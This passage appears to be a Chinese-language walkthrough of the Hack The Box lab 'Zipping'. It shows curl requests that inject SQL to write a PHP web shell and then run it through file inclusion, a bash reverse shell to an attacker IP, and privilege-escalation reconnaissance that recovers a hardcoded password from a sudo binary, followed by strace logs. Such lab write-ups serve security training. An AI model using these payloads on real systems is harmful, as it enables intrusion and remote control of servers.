-H $'Host: zipping.htb' -H $'Content-Length: 106' -H $'Cache-Control: max-age=0' -H $'Upgrade-Insecure-Requests: 1' -H $'Origin: http://zipping.htb' -H $'Content-Type: application/x-www-form-urlencoded' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' -H $'Referer: http://zipping.htb/shop/index.php?page=product&id=1' -H $'Accept-Encoding: gzip, deflate' -H $'Accept-Language: zh-CN,zh;q=0.9' -H $'Connection: close' \
-b $'PHPSESSID=vgnhvclk9rblm04f3u8terc0nr' \
--data-binary $'quantity=1&product_id=%0a\'%3bselect+\'<%3fphp+eval($_REQUEST[1])%3b+%3f>\'+into+outfile+\'/var/lib/mysql/3.php\'%3b --1' \
$'http://zipping.htb/shop/index.php?page=cart'
curl -i -s -k -X $'GET' \
-H $'Host: zipping.htb' -H $'Cache-Control: max-age=0' -H $'Upgrade-Insecure-Requests: 1' -H $'Origin: http://zipping.htb' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' -H $'Referer: http://zipping.htb/shop/index.php?page=product&id=1' -H $'Accept-Encoding: gzip, deflate' -H $'Accept-Language: zh-CN,zh;q=0.9' -H $'Connection: close' \
-b $'PHPSESSID=vgnhvclk9rblm04f3u8terc0nr' \
$'http://zipping.htb/shop/index.php?page=/var/lib/mysql/3&1=phpinfo();'
Reverse-shell
┌──(root💀kali)-[/home/kali/hacktheboxtools/machine/Zipping]
└─# cat sh.sh 1 ⨯
bash -c "bash -i>& /dev/tcp/10.10.16.5/5555 0>&1"
root
sudo -l
rektsu@zipping:/home/rektsu$ sudo -l
sudo -l
Matching Defaults entries for rektsu on zipping:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User rektsu may run the following commands on zipping:
(ALL) NOPASSWD: /usr/bin/stock
rektsu@zipping:/home/rektsu$
rektsu@zipping:/home/rektsu$ stock
stock
dfd
Enter the password: Invalid password, please try again.
rektsu@zipping:/home/rektsu$
rektsu@zipping:/home/rektsu$ file /usr/bin/stock
file /usr/bin/stock
/usr/bin/stock: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=aa34d8030176fe286f8011c9d4470714d188ab42, for GNU/Linux 3.2.0, not stripped
rektsu@zipping:/home/rektsu$ strings /usr/bin/stock
strings /usr/bin/stock
/lib64/ld-linux-x86-64.so.2
mgUa
fgets
stdin
puts
exit
fopen
__libc_start_main
fprintf
dlopen
__isoc99_fscanf
__cxa_finalize
strchr
fclose
__isoc99_scanf
strcmp
__errno_location
libc.so.6
GLIBC_2.7
GLIBC_2.2.5
GLIBC_2.34
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
PTE1
u+UH
Hakaize
St0ckM4nager
/root/.stock.csv
Enter the password:
Invalid password, please try again.
================== Menu ==================
1) See the stock
2) Edit the stock
3) Exit the program
Select an option:
You do not have permissions to read the file
File could not be opened.
================== Stock Actual ==================
Colour Black Gold Silver
Amount %-7d %-7d %-7d
Quality Excelent Average Poor
Amount %-9d %-7d %-4d
Exclusive Yes No
Amount %-4d %-4d
Warranty Yes No
================== Edit Stock ==================
Enter the information of the watch you wish to update:
Colour (0: black, 1: gold, 2: silver):
Quality (0: excelent, 1: average, 2: poor):
Exclusivity (0: yes, 1: no):
Warranty (0: yes, 1: no):
Amount:
Error: The information entered is incorrect
%d,%d,%d,%d,%d,%d,%d,%d,%d,%d
The stock has been updated correctly.
;*3$"
GCC: (Debian 12.2.0-3) 12.2.0
Scrt1.o
__abi_tag
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.0
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
stock.c
__FRAME_END__
_DYNAMIC
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_start_main@GLIBC_2.34
__errno_location@GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__isoc99_fscanf@GLIBC_2.7
puts@GLIBC_2.2.5
stdin@GLIBC_2.2.5
_edata
fclose@GLIBC_2.2.5
_fini
strchr@GLIBC_2.2.5
fgets@GLIBC_2.2.5
__data_start
strcmp@GLIBC_2.2.5
dlopen@GLIBC_2.34
fprintf@GLIBC_2.2.5
__gmon_start__
__dso_handle
_IO_stdin_used
checkAuth
_end
__bss_start
main
fopen@GLIBC_2.2.5
__isoc99_scanf@GLIBC_2.7
exit@GLIBC_2.2.5
__TMC_END__
_ITM_registerTMCloneTable
__cxa_finalize@GLIBC_2.2.5
_init
.symtab
.strtab
.shstrtab
.interp
.note.gnu.property
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.got.plt
.data
.bss
.comment
简单看了一下这个文件,是一个二进制文件,strings看字符串内容的时候,St0ckM4nager
这个看起来像是密码
rektsu@zipping:/var/www/html/shop$ sudo /usr/bin/stock
sudo /usr/bin/stock
Enter the password: St0ckM4nager
St0ckM4nager
================== Menu ==================
1) See the stock
2) Edit the stock
3) Exit the program
Select an option: 1
1
================== Stock Actual ==================
Colour Black Gold Silver
Amount 4 15 5
Quality Excelent Average Poor
Amount 4 15 5
Exclusive Yes No
Amount 4 19
Warranty Yes No
Amount 4 19
================== Menu ==================
1) See the stock
2) Edit the stock
3) Exit the program
Select an option: 2
2
================== Edit Stock ==================
Enter the information of the watch you wish to update:
Colour (0: black, 1: gold, 2: silver): 0
0
Quality (0: excelent, 1: average, 2: poor): 0
0
Exclusivity (0: yes, 1: no): 0
0
Warranty (0: yes, 1: no): 0
0
Amount: 11
11
The stock has been updated correctly.
================== Menu ==================
1) See the stock
2) Edit the stock
3) Exit the program
Select an option: 1
1
================== Stock Actual ==================
Colour Black Gold Silver
Amount 15 15 5
Quality Excelent Average Poor
Amount 15 15 5
Exclusive Yes No
Amount 15 19
Warranty Yes No
Amount 15 19
================== Menu ==================
1) See the stock
2) Edit the stock
3) Exit the program
Select an option: 3
3
rektsu@zipping:/var/www/html/shop$
简单运行了一下, 好像就是看一些信息,和编辑一些信息
strace
使用strace可以看到这个程序,跑起来的时候的系统调用
rektsu@zipping:/var/www/html/shop$ strace sudo /usr/bin/stock
strace sudo /usr/bin/stock
execve("/usr/bin/sudo", ["sudo", "/usr/bin/stock"], 0x7ffe8f4f4508 /* 15 vars */) = 0
access("/etc/suid-debug", F_OK) = -1 ENOENT (No such file or directory)
brk(NULL) = 0x563b6b997000
arch_prctl(0x3001 /* ARCH_??? */, 0x7ffe9a935810) = -1 EINVAL (Invalid argument)
fcntl(0, F_GETFD) = 0
fcntl(1, F_GETFD) = 0
fcntl(2, F_GETFD) = 0
access("/etc/suid-debug", F_OK) = -1 ENOENT (No such file or directory)
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f6e6e0a5000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/libexec/sudo/glibc-hwcaps/x86-64-v3/libaudit.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
newfstatat(AT_FDCWD, "/usr/libexec/sudo/glibc-hwcaps/x86-64-v3", 0x7ffe9a934a40, 0) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/libexec/sudo/glibc-hwcaps/x86-64-v2/libaudit.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
newfstatat(AT_FDCWD, "/usr/libexec/sudo/glibc-hwcaps/x86-64-v2", 0x7ffe9a934a40, 0) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/libexec/sudo/tls/x86_64/x86_64/libaudit.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
newfstatat(AT_FDCWD, "/usr/libexec/sudo/tls/x86_64/x86_64", 0x7ffe9a934a40, 0) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/libexec/sudo/tls/x86_64/libaudit.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
newfstatat(AT_FDCWD, "/usr/libexec/sudo/tls/x86_64", 0x7ffe9a934a40, 0) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/libexec/sudo/tls/x86_64/libaudit.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
newfstatat(AT_FDCWD, "/usr/libexec/sudo/tls/x86_64", 0x7ffe9a934a40, 0) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/libexec/sudo/tls/libaudit.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
newfstatat(AT_FDCWD, "/usr/libexec/sudo/tls", 0x7ffe9a934a40, 0) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/libexec/sudo/x86_64/x86_64/libaudit.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
newfstatat(AT_FDCWD, "/usr/libexec/sudo/x86_64/x86_64", 0x7ffe9a934a40, 0) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/libexec/sudo/x86_64/libaudit.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
newfstatat(AT_FDCWD, "/usr/libexec/sudo/x86_64", 0x7ffe9a934a40, 0) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/libexec/sudo/x86_64/libaudit.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
newfstatat(AT_FDCWD, "/usr/libexec/sudo/x86_64", 0x7ffe9a934a40, 0) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/libexec/sudo/libaudit.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
newfstatat(AT_FDCWD, "/usr/libexec/sudo", {st_mode=S_IFDIR|0755, st_size=4096, ...}, 0) = 0
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=18225, ...}, AT_EMPTY_PATH) = 0
mmap(NULL, 18225, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f6e6e0a0000
close(3) = 0
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libaudit.so.1", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\0\0\0\0\0\0\0\0"..., 832) = 832
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=133200, ...}, AT_EMPTY_PATH) = 0
mmap(NULL, 184496, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f6e6e072000
mmap(0x7f6e6e075000, 32768, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x3000) = 0x7f6e6e075000
mmap(0x7f6e6e07d000, 86016, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0xb000) = 0x7f6e6e07d000
mmap(0x7f6e6e092000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1f000) = 0x7f6e6e092000
mmap(0x7f6e6e094000, 45232, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f6e6e094000
close(3) = 0
openat(AT_FDCWD, "/usr/libexec/sudo/libselinux.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libselinux.so.1", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\0\0\0\0\0\0\0\0"..., 832) = 832
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=174472, ...}, AT_EMPTY_PATH) = 0
mmap(NULL, 186024, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f6e6e044000
mmap(0x7f6e6e04a000, 114688, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x6000) = 0x7f6e6e04a000
mmap(0x7f6e6e066000, 32768, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x22000) = 0x7f6e6e066000
mmap(0x7f6e6e06e000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x29000) = 0x7f6e6e06e000
mmap(0x7f6e6e070000, 5800, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f6e6e070000
close(3) = 0
openat(AT_FDCWD, "/usr/libexec/sudo/libsudo_util.so.0", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\0\0\0\0\0\0\0\0"..., 832) = 832
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=117752, ...}, AT_EMPTY_PATH) = 0
mmap(NULL, 120936, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f6e6e026000
mmap(0x7f6e6e02b000, 69632, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x5000) = 0x7f6e6e02b000
mmap(0x7f6e6e03c000, 24576, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x16000) = 0x7f6e6e03c000
mmap(0x7f6e6e042000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1b000) = 0x7f6e6e042000
close(3) = 0
openat(AT_FDCWD, "/usr/libexec/sudo/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\3206\2\0\0\0\0\0"..., 832) = 832
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=2072888, ...}, AT_EMPTY_PATH) = 0
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
mmap(NULL, 2117488, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f6e6de00000
mmap(0x7f6e6de22000, 1544192, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x22000) = 0x7f6e6de22000
mmap(0x7f6e6df9b000, 356352, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x19b000) = 0x7f6e6df9b000
mmap(0x7f6e6dff2000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1f1000) = 0x7f6e6dff2000
mmap(0x7f6e6dff8000, 53104, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f6e6dff8000
close(3) = 0
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libcap-ng.so.0", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\0\0\0\0\0\0\0\0"..., 832) = 832
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=35112, ...}, AT_EMPTY_PATH) = 0
mmap(NULL, 32832, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f6e6e01d000
mmap(0x7f6e6e01f000, 16384, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x2000) = 0x7f6e6e01f000
mmap(0x7f6e6e023000, 4096, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x6000) = 0x7f6e6e023000
mmap(0x7f6e6e024000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x7000) = 0x7f6e6e024000
close(3) = 0
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libpcre2-8.so.0", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\0\0\0\0\0\0\0\0"..., 832) = 832
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=629440, ...}, AT_EMPTY_PATH) = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f6e6e01b000
mmap(NULL, 631568, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f6e6dd65000
mmap(0x7f6e6dd67000, 442368, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x2000) = 0x7f6e6dd67000
mmap(0x7f6e6ddd3000, 176128, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x6e000) = 0x7f6e6ddd3000
mmap(0x7f6e6ddfe000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x98000) = 0x7f6e6ddfe000
close(3) = 0
mmap(NULL, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f6e6e018000
arch_prctl(ARCH_SET_FS, 0x7f6e6e018840) = 0
set_tid_address(0x7f6e6e018b10) = 1240
set_robust_list(0x7f6e6e018b20, 24) = 0
rseq(0x7f6e6e019160, 0x20, 0, 0x53053053) = 0
mprotect(0x7f6e6dff2000, 16384, PROT_READ) = 0
mprotect(0x7f6e6ddfe000, 4096, PROT_READ) = 0
mprotect(0x7f6e6e024000, 4096, PROT_READ) = 0
mprotect(0x7f6e6e042000, 4096, PROT_READ) = 0
mprotect(0x7f6e6e06e000, 4096, PROT_READ) = 0
mprotect(0x7f6e6e092000, 4096, PROT_READ) = 0
mprotect(0x563b6a0a1000, 8192, PROT_READ) = 0
mprotect(0x7f6e6e0db000, 8192, PROT_READ) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
munmap(0x7f6e6e0a0000, 18225) = 0
openat(AT_FDCWD, "/proc/sys/kernel/cap_last_cap", O_RDONLY) = 3
fstatfs(3, {f_type=PROC_SUPER_MAGIC, f_bsize=4096, f_blocks=0, f_bfree=0, f_bavail=0, f_files=0, f_ffree=0, f_fsid={val=[0, 0]}, f_namelen=255, f_frsize=4096, f_flags=ST_VALID|ST_NOSUID|ST_NODEV|ST_NOEXEC|ST_RELATIME}) = 0
read(3, "40\n", 7) = 3
close(3) = 0
prctl(PR_CAPBSET_READ, CAP_CHOWN) = 1
prctl(PR_GET_SECUREBITS) = 0
prctl(PR_GET_NO_NEW_PRIVS, 0, 0, 0, 0) = 0
prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_IS_SET, CAP_CHOWN, 0, 0) = 0
statfs("/sys/fs/selinux", 0x7ffe9a9357e0) = -1 ENOENT (No such file or directory)
statfs("/selinux", 0x7ffe9a9357e0) = -1 ENOENT (No such file or directory)
getrandom("\xbf\x4a\xfb\x14\x48\x86\x36\x39", 8, GRND_NONBLOCK) = 8
brk(NULL) = 0x563b6b997000
brk(0x563b6b9b8000) = 0x563b6b9b8000
openat(AT_FDCWD, "/proc/filesystems", O_RDONLY|O_CLOEXEC) = 3
newfstatat(3, "", {st_mode=S_IFREG|0444, st_size=0, ...}, AT_EMPTY_PATH) = 0
read(3, "nodev\tsysfs\nnodev\ttmpfs\nnodev\tbd"..., 1024) = 385
read(3, "", 1024) = 0
close(3) = 0
access("/etc/selinux/config", F_OK) = -1 ENOENT (No such file or directory)
prlimit64(0, RLIMIT_AS, NULL, {rlim_cur=RLIM64_INFINITY, rlim_max=RLIM64_INFINITY}) = 0
prlimit64(0, RLIMIT_CORE, NULL, {rlim_cur=0, rlim_max=RLIM64_INFINITY}) = 0
prlimit64(0, RLIMIT_CPU, NULL, {rlim_cur=RLIM64_INFINITY, rlim_max=RLIM64_INFINITY}) = 0
prlimit64(0, RLIMIT_CPU, {rlim_cur=RLIM64_INFINITY, rlim_max=RLIM64_INFINITY}, NULL) = 0
prlimit64(0, RLIMIT_DATA, NULL, {rlim_cur=RLIM64_INFINITY, rlim_max=RLIM64_INFINITY}) = 0
prlimit64(0, RLIMIT_FSIZE, NULL, {rlim_cur=RLIM64_INFINITY, rlim_max=RLIM64_INFINITY}) = 0
prlimit64(0, RLIMIT_FSIZE, {rlim_cur=RLIM64_INFINITY, rlim_max=RLIM64_INFINITY}, NULL) = 0
prlimit64(0, RLIMIT_LOCKS, NULL, {rlim_cur=RLIM64_INFINITY, rlim_max=RLIM64_INFINITY}) = 0
prlimit64(0, RLIMIT_MEMLOCK, NULL, {rlim_cur=8192*1024, rlim_max=8192*1024}) = 0
prlimit64(0, RLIMIT_NOFILE, NULL, {rlim_cur=8*1024, rlim_max=8*1024}) = 0
prlimit64(0, RLIMIT_NPROC, NULL, {rlim_cur=15165, rlim_max=15165}) = 0
prlimit64(0, RLIMIT_NPROC, {rlim_cur=RLIM64_INFINITY, rlim_max=RLIM64_INFINITY}, NULL) = -1 EPERM (Operation not permitted)
prlimit64(0, RLIMIT_NPROC, {rlim_cur=15165, rlim_max=15165}, NULL) = 0
prlimit64(0, RLIMIT_RSS, NULL, {rlim_cur=RLIM64_INFINITY, rlim_max=RLIM64_INFINITY}) = 0
prlimit64(0, RLIMIT_RSS, {rlim_cur=RLIM64_INFINITY, rlim_max=RLIM64_INFINITY}, NULL) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
fcntl(0, F_GETFL) = 0x2 (flags O_RDWR)
fcntl(1, F_GETFL) = 0x2 (flags O_RDWR)
fcntl(2, F_GETFL) = 0x2 (flags O_RDWR)
openat(AT_FDCWD, "/usr/lib/locale/locale-archive", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/share/locale/locale.alias", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/lib/locale/C.UTF-8/LC_CTYPE", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/lib/locale/C.utf8/LC_CTYPE", O_RDONLY|O_CLOEXEC) = 3
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=353616, ...}, AT_EMPTY_PATH) = 0
mmap(NULL, 353616, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f6e6dd0e000
close(3) = 0
openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache", O_RDONLY) = 3
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=27028, ...}, AT_EMPTY_PATH) = 0
mmap(NULL, 27028, PROT_READ, MAP_SHARED, 3, 0) = 0x7f6e6e011000
close(3) = 0
futex(0x7f6e6dff7a4c, FUTEX_WAKE_PRIVATE, 2147483647) = 0
openat(AT_FDCWD, "/etc/localtime", O_RDONLY|O_CLOEXEC) = 3
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=114, ...}, AT_EMPTY_PATH) = 0
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=114, ...}, AT_EMPTY_PATH) = 0
read(3, "TZif2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 4096) = 114
lseek(3, -60, SEEK_CUR) = 54
read(3, "TZif2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 4096) = 60
close(3) = 0
newfstatat(AT_FDCWD, "/etc/sudo.conf", {st_mode=S_IFREG|0644, st_size=4573, ...}, 0) = 0
openat(AT_FDCWD, "/etc/sudo.conf", O_RDONLY) = 3
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=4573, ...}, AT_EMPTY_PATH) = 0
read(3, "#\n# Default /etc/sudo.conf file\n"..., 4096) = 4096
read(3, "rity[,subsyste@priority]\n#\n# Sud"..., 4096) = 477
read(3, "", 4096) = 0
close(3) = 0
geteuid() = 1001
prctl(PR_GET_NO_NEW_PRIVS, 0, 0, 0, 0) = 0
access("/usr/local/sbin/sudo", X_OK) = -1 ENOENT (No such file or directory)
access("/usr/local/bin/sudo", X_OK) = -1 ENOENT (No such file or directory)
access("/usr/sbin/sudo", X_OK) = -1 ENOENT (No such file or directory)
access("/usr/bin/sudo", X_OK) = 0
newfstatat(AT_FDCWD, "/usr/bin/sudo", {st_mode=S_IFREG|S_ISUID|0755, st_size=248840, ...}, 0) = 0
write(2, "sudo", 4sudo) = 4
write(2, ": ", 2: ) = 2
write(2, "effective uid is not 0, is /usr/"..., 133effective uid is not 0, is /usr/bin/sudo on a file system with the 'nosuid' option set or an NFS file system without root privileges?) = 133
ioctl(2, TCGETS, {B38400 opost isig icanon echo ...}) = 0
) = 1
write(2, "\n", 1
) = 1
exit_group(1) = ?
+++ exited with 1 +++
rektsu@zipping:/var/www/html/shop$ strace stock
strace stock
execve("/usr/bin/stock", ["stock"], 0x7ffc553ae780 /* 15 vars */) = 0
brk(NULL) = 0x55a96286a000
arch_prctl(0x3001 /* ARCH_??? */, 0x7ffff49a4c30) = -1 EINVAL (Invalid argument)
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f6206b8a000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=18225, ...}, AT_EMPTY_PATH) = 0
mmap(NULL, 18225, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f6206b85000
close(3) = 0
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\3206\2\0\0\0\0\0"..., 832) = 832
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=2072888, ...}, AT_EMPTY_PATH) = 0
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
mmap(NULL, 2117488, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f6206800000
mmap(0x7f6206822000, 1544192, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x22000) = 0x7f6206822000
mmap(0x7f620699b000, 356352, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x19b000) = 0x7f620699b000
mmap(0x7f62069f2000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1f1000) = 0x7f62069f2000
mmap(0x7f62069f8000, 53104, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f62069f8000
close(3) = 0
mmap(NULL, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f6206b82000
arch_prctl(ARCH_SET_FS, 0x7f6206b82740) = 0
set_tid_address(0x7f6206b82a10) = 1244
set_robust_list(0x7f6206b82a20, 24) = 0
rseq(0x7f6206b83060, 0x20, 0, 0x53053053) = 0
mprotect(0x7f62069f2000, 16384, PROT_READ) = 0
mprotect(0x55a960c89000, 4096, PROT_READ) = 0
mprotect(0x7f6206bc0000, 8192, PROT_READ) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
munmap(0x7f6206b85000, 18225) = 0
newfstatat(1, "", {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0), ...}, AT_EMPTY_PATH) = 0
getrandom("\xe0\x99\xcd\xcc\x79\x80\x1f\x95", 8, GRND_NONBLOCK) = 8
brk(NULL) = 0x55a96286a000
brk(0x55a96288b000) = 0x55a96288b000
